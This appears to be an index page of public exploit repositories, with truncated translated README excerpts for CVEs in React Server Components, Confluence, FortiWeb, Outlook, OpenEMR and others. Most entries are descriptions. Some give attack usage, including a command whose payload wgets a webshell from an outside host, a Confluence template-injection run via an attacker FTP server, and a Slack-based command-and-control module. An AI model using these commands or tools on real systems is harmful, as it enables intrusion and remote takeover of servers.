react2shell

React2Shell React Server Components / Server Actions의 프로토타입 오염 취약점CVE-2025-55182 및 CVE-2025-66478을 악용하여 취약한 서버에서 원격 코드 실행RCE을 가능하게 하는 CLI 도구입니다. 원본 PoC : https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc 경고: 이 도구는 현재 야생에서 적극적으로 악용되고 있는 심각한 취약점CVSS 10.0을 대상으로 합니다. 소유한 시스템이나 명시적...

CVE-2025-54253-Exploit-Demo

🚨 CVE-2025-54253 – Adobe AEM Forms on JEE OGNL インジェクションによるリモートコード実行 🔎 概要 CVE-2025-54253 は、Adobe AEM Forms on JEE における重大なOGNLインジェクションの脆弱性です。この脆弱性により、認証されていない攻撃者が /adminui/debug?debug=OGNL: エンドポイントを介して任意のオペレーティングシステムコマンドを実行できます。 重要度: 緊急 CVSSスコア: 9.8 未確定 攻撃ベクトル: リモート 認証の必要性: 不要 影響を受ける製品: Adobe AEM...

CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0

CVE-2026-32238 - OpenEMR 脆弱性 CWE-78 : OSコマンドに使用される特殊要素の不適切な無害化（'OS Command Injection'） 本製品は、上流コンポーネントから外部の影響を受ける入力を使ってOSコマンドの全部または一部を構築しますが、下流コンポーネントに送信する際に、意図されたOSコマンドを変更し得る特殊要素を無害化しない、または誤って無害化します。 概要 OpenEMR 8.0.0.1...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 컨플루언스 SSTI RCE 1、cmd.vm 파일을 웹사이트에 업로드하세요 ftp 또는 https를 사용해야 하며, http는 작동하지 않습니다 2、RCEexp.py를 수정하고，filename = 'ftp://1.1.1.1/cmd.vm' 로 변경하세요 （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2025-25257

목차 개요 취약점 세부 정보 개념 증명 PoC Trolled2 Trolled3 개요 CVE-2025-25257는 사전 인증 SQL 인젝션 취약점 으로, Fortinet FortiWeb Fabric Connector 버전 7.0부터 7.6.x까지 영향을 미칩니다. 이 결함을 통해 공격자는 취약한 API 엔드포인트에 악의적인 SQL 명령을 주입할 수 있으며, 잠재적으로 원격 코드 실행RCE으로 이어질 수 있습니다. 이 저장소는 SQL 인젝션 벡터를 안전하고 통제된 방식으로 설명하는 PoC 를 포함하고 있습니다. 오픈 소스로 제공되...

CVE-2025-25257

CVE-2025-25257 CVE‑2025‑25257 は、Fortinet FortiWeb の Fabric Connector コンポーネントに影響を及ぼす、認証前 SQL インジェクションの重大な脆弱性です。影響を受ける FortiWeb のバージョンは以下の通り: 7.6.0–7.6.3 7.4.0–7.4.7 7.2.0–7.2.10 ≤ 7.0.10 技術的詳細 この問題は、サニタイズされていないユーザー入力（Authorization: Bearer HTTP ヘッダー）を使用して SQL クエリを構築する getfabricuserbytoken...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Microsoft Outlook リモートコード実行脆弱性 PoC 📜 説明 このスクリプトは、CVE-2024-21413 の概念実証（PoC）です。これは Microsoft Outlook で発見された深刻なセキュリティ脆弱性で、CVSS スコアは 9.8 です。MonikerLink バグと呼ばれるこの脆弱性は、ローカル NTLM 情報の漏洩やリモートコード実行の可能性など、広範囲にわたる影響を及ぼします。さらに、Office の Protected View をバイパスする攻撃ベクトルも明らかになっており、他の Office...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 원격 코드 실행 및 외부 리소스 로드, 발견자: @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 익스플로잇 현재 디렉토리에 웹쉘을 떨어뜨리는 예제입니다. python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'...

mIRC-CVE-2019-6453

CVE-2019-6453: mIRC 7.55 における引数インジェクションによるRCE（カスタムURIプロトコルハンドラ経由） 解説記事へのリンク mIRCのirc:// URIプロトコルハンドラを通じて、リモートコード実行の脆弱性 を発見しました。mIRCは引数リストの終了を示す--などの記号を使用しないため、攻撃者は irc://リンクを通じてmIRCに引数を渡し、攻撃者が制御するSambaファイルサーバーからカスタム mirc.iniを読み込ませることで任意のコードを実行できます。ircs://も同様に機能することに注意してください。 PoC このPoCには、mirc.ini...

pinky

웹쉘을 업로드하는 것은 웹 취약점을 악용한 후 거의 항상 다음 단계이지만, Cloudflare와 같은 서비스와 새로운 세대의 방화벽은 공격자가 HTTP 또는 HTTPS를 통해 대상에서 명령을 실행하는 것을 매우 잘 막습니다. 반면에, 텍스트 콘텐츠 필터링 및 허용 목록 애플리케이션 정책은 최소한의 노력으로 쉽게 악용될 수 있으며, pinky는 그 PoC 입니다. pinky는 어떻게 다른가요? 첫째, pinky 는 시스템 명령을 실행할 수 있는 함수가 무엇인지 찾으려고 시도합니다; 가장 좋은 php 함수를 찾은 후에는 모든 통신...

CVE-2023-27532-RCE-Only

フォーク版 RCE Only フォークしたリポジトリから認証情報漏洩部分を削除し、コンパイルの修正を適用しました。 CVE-2023-27532 CVE-2023-27532を悪用して、平文の認証情報を漏洩させるか、リモートコマンド実行を行うためのProof of Conceptコードです。 概要 脆弱性とその悪用の詳細な分析については、Rapid7のAttackerKB Analysisをお読みください。 ビルド Visual...

CVE-2024-21413

CVE-2024-21413 - Expect 스크립트 POC Microsoft Outlook 자격 증명 유출 및 원격 코드 실행 취약점 미리보기 패널을 통해 CVE-2023-21716과 연계 시 CVSS:3.1 9.8 / 8.5 Outlook은 외부 링크를 열 때 위험에 대해 경고해야 하지만, 그렇지 않습니다! 사용법: ./cve-2024-21413.sh mx.fqdn 포트 발신자 수신자 url ./cve-2024-21413.sh mail.mydomain.com 25 [email protected]...

cve-2022-37298

CVE-2022-37298: Shinken 모니터링의 원격 코드 실행 RCE 영향받는 버전: 2.4.3 공개 링크: https://github.com/naparuba/shinken/commit/2dae40fd1e713aec9e1966a0ab7a580b9180cff2 CVE 링크: https://vulners.com/cve/CVE-2022-37298 설명 shinken/safepickle.py에 있는 SafeUnpickler 클래스는 합법적인 모니터링 노드에서 Shinken 서버로 전달되는 객체를 역직렬화할 때 약한 인증 체계사...

CVE-2019-0708-Msf--

CVE-2019-0708 認証不要の CVE-2019-0708 "BlueKeep" スキャナー PoC 作成者: @JaGoTu および @zerosum0x0. 技術的詳細: https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html Metasploit モジュール Metasploit モジュールは rapid7:master に取り込まれました。 msf5 use auxiliary/scanner/rdp/cve20190708bluekeep...

Spring4shell-CVE-2022-22965-POC

Spring4shell RCE 脆弱性 この脆弱性は Spring Core に影響し、攻撃者が特別に細工された HTTP リクエストを送信することで、ライブラリの HTTP リクエストパーサーの保護をバイパスし、リモートコード実行を引き起こす可能性があります。 詳細情報はこちら この脆弱性が悪用されるためには、いくつかの条件を満たす必要があります JDK 9 以降を使用している Apache Tomcat をサーブレットコンテナとして使用している 従来の WAR としてパッケージ化されている（Spring Boot 実行可能 jar とは対照的） spring-webmvc または...

CVE-2020-12077

CVE-2020-12077 MapPress Maps Pro "...

Flink-CVE-2020-17518-getshell

Flink-CVE-2020-17518-getshell Apache Flink CVE-2020-17518을 이용한 getshell 참고: https://blog.rakjong.com/2021/01/10/flink-cve-2020-17518-getshell/...

CVE-2024-0757-Exploit

CVE-2024-0757 익스플로잇 설명 WordPress용 Insert or Embed Articulate Content into WordPress 플러그인은 모든 버전최대 4.3000000023 포함에서 zip 아카이브의 안전하지 않은 파일 업로드를 통해 임의 파일 업로드에 취약합니다. 이로 인해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 phar 파일이 포함된 zip 파일을 업로드할 수 있으며, 이는 원격 코드 실행 가능성을 만듭니다. !IMPORTANT CVSS: 8.8 High...

CVE-2024-24590

CVE-2024-24590 Allegro AI의 ClearML 플랫폼 클라이언트 SDK 버전 0.17.0부터 1.14.2까지에서 신뢰할 수 없는 데이터의 역직렬화가 발생할 수 있으며, 악의적으로 업로드된 아티팩트가 사용자가 상호작용할 때 최종 사용자의 시스템에서 임의 코드를 실행할 수 있습니다. 사용 방법 1. 제공된 자격 증명을 붙여넣고 clearml-init을 실행합니다. 2. 한 터미널에서 exploit.py 파이썬 스크립트를 실행하고 다른 터미널에서 리스너를 실행합니다. 3. 리버스 셸을 얻기 위해 익스플로잇을 여러 번...

SlackShell

SlackShell 描述与更新日志 v1.0 此PowerShell模块包含多种利用Slack API创建命令与控制通道的函数。主函数Start-Shell会连接至用户指定的Slack频道，并使用提供的API认证令牌对指定Slack团队和用户进行身份验证。频道中输入的任何命令都将在主机上的PowerShell中执行。 SlackShell项目需要PowerShell v3及以上版本，因为其使用Invoke-RestMethod进行API调用。未来开发将继续使用当前PowerShell...